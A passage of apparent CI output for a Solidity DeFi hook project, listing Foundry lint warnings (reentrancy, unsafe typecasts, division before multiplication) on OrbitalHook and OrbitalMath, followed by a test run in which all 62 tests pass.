src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:409:9\n    │\n409 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:410:9\n    │\n410 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:398:38\n    │\n398 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:409:9\n    │\n409 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:434:13\n    │\n434 │         if (any) {\n    │             ━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:436:13\n    │\n436 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:448:17\n    │\n448 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:859:39\n    │\n859 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n    │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:450:17\n    │\n450 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:451:17\n    │\n451 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:453:17\n    │\n453 │                 poolManager.burn(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:454:17\n    │\n454 │                 poolManager.take(c, data.account, amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:860:93\n    │\n860 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n    │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:450:17\n    │\n450 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:484:26\n    │\n484 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:606:17\n    │\n606 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:606:31\n    │\n606 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:669:64\n    │\n669 │             boundary = OrbitalMath.alphaIntNorm(s, sqrtN, c) > int256(lv[l].kNorm);\n    │                                                                ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:694:26\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:694:66\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:697:58\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                          ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:28\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:44\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:61\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                                             ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:690:75\n    │\n690 │         if (w != 0) dir = (int256(_x[k]) - int256(s / n)) * int256(WAD) / int256(w);\n    │                                                                           ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:19\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:66\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:694:105\n    │\n694 │             val = int256(L.kNorm * radius / WAD * WAD / sqrtN) + int256(L.sNorm * radius / WAD) * dir / int256(WAD);\n    │                                                                                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:29\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:58\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                          ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:697:79\n    │\n697 │             int256 xBound = int256(c.kb * WAD / sqrtN) + int256(c.sb) * dir / int256(WAD);\n    │                                                                               ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:698:19\n    │\n698 │             val = int256(_x[k]) - xBound;\n    │                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:20\n    │\n700 │             return uint256(val) * radius / c.r;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:702:26\n    │\n702 │         return val > 0 ? uint256(val) : 0;\n    │                          ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:746:23\n    │\n746 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:170:68\n    │\n170 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:761:38\n    │\n761 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:188:26\n    │\n188 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:213:20\n    │\n213 │         if (b < 0) revert PlaneUnreachable();\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:222:28\n    │\n222 │         if (chosen < tMin) revert PlaneUnreachable();\n    │                            ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:772:33\n    │\n772 │                 if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:841:50\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:793:32\n    │\n793 │         uint256 qT = wT * wT + sT * sT / n;\n    │                                ━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:815:28\n    │\n815 │                 int256 k = int256(lv[l].kNorm);\n    │                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:816:64\n    │\n816 │                 if (k >= aNow && k <= aAfter && (!found || k < int256(lv[best].kNorm))) {\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:825:28\n    │\n825 │                 int256 k = int256(lv[l].kNorm);\n    │                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:826:64\n    │\n826 │                 if (k >= aAfter && k <= aNow && (!found || k > int256(lv[best].kNorm))) {\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:21\n    │\n838 │         int256 wi = int256(x[i]) - int256(s / n);\n    │                     ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:36\n    │\n838 │         int256 wi = int256(x[i]) - int256(s / n);\n    │                                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:25\n    │\n839 │         int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:31\n    │\n840 │         if (w != 0) xBound += int256(c.sb) * wi / int256(w);\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:51\n    │\n840 │         if (w != 0) xBound += int256(c.sb) * wi / int256(w);\n    │                                                   ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:13\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:37\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │                                     ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":397,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 15 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 29851)\n[PASS] test_callbackAdminAndPayment() (gas: 190077)\n[PASS] test_callbackConstructorChecks() (gas: 10398)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 131106)\n[PASS] test_callbackRefusesNonProxy() (gas: 42580)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 163825)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 287590)\n[PASS] test_inBandPriceDoesNothing() (gas: 80646)\n[PASS] test_nonPositivePriceTrips() (gas: 89442)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 104912)\n[PASS] test_reactRefusesNonSystemCaller() (gas: 36537)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 91668)\n[PASS] test_reactiveConfigValidation() (gas: 6388)\n[PASS] test_reactivePaymentHooks() (gas: 115375)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 59657)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 17.52ms (4.24ms CPU time)\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 33286845)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17463215)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 20.20ms (36.90ms CPU time)\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 83.01ms (848.75µs CPU time)\n\nRan 9 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 610313, ~: 626039)\n[PASS] testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321714, ~: 322272)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1633, ~: 1648)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 3199)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 83.04ms (142.29ms CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1702048, ~: 1721358)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2309021, ~: 2615454)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1545644, ~: 1412315)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 149299)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 608724)\n[PASS] test_constructorRejectsBadConfig() (gas: 10105582)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3361049)\n[PASS] test_depositRejectsBadInputs() (gas: 167669)\n[PASS] test_depositRespectsMaxAmounts() (gas: 159832)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1532115)\n[PASS] test_firstDepositOpensAtEqualPrice() (gas: 558448)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130913)\n[PASS] test_guardianCannotUnpause() (gas: 98845)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603738)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605603)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2826254)\n[PASS] test_ownerAdmin() (gas: 256862)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294783)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1727653)\n[PASS] test_permissionsMatchAddressBits() (gas: 16721)\n[PASS] test_roundTripNeverProfits() (gas: 1939693)\n[PASS] test_swapExactInNearPeg() (gas: 1808903)\n[PASS] test_swapExactOut() (gas: 1689037)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 132050)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1935019)\n[PASS] test_swapTooLargeReverts() (gas: 612356)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 70008)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1955542)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 626882)\n[PASS] test_withdrawReturnsDeposit() (gas: 1024660)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 288.25ms (603.48ms CPU time)\n\nRan 5 test suites in 289.15ms (492.02ms CPU time): 62 tests passed, 0 failed, 0 skipped (62 total 